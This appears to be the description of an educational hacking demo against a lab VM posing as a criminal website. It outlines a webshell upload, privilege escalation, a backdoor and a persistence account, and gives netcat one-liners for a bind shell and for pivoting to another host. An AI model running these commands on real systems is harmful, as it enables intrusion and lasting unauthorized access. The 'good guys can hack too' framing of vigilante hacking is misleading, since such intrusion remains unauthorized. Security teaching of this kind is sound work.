Admin/Hacking CrimeNet Initial Exploit
!This demo is only provided for educational and entertainment purposes!
This is a demonstration of how to gain privileges against an unsecured criminal website. Good guys can hack too.
Exploiting a Web Upload vulnerability with a webshell
Exploiting a privilege escalation vulnerability.
Setting a backdoor
Setting a maintenance account for future access
Import Machine
Open Website: http://192.168.56.101
Plant Malware and Webshell
Demonstrate Webshell
whoami
ls -lh
lsb_release -a
Local Access:
mkfifo connect ; sleep 2; cat connect | /bin/bash -i 2GREATERTHAN&1 | nc -l 192.168.56.101 8080 GREATERTHAN connect
Pivot to Another System:
mkfifo pivot; sleep 2; while true; do nc -l 192.168.56.101 5900 0LESSTHANpivot | nc 10.0.2.31 5900 1GREATERTHAN pivot; done
-----------------------
Thank you for dropping by!
Please join me:
/ paulwpoteete
/ paulwpoteete
/ paulwpoteete
CC by Paul W. Poteete, PhD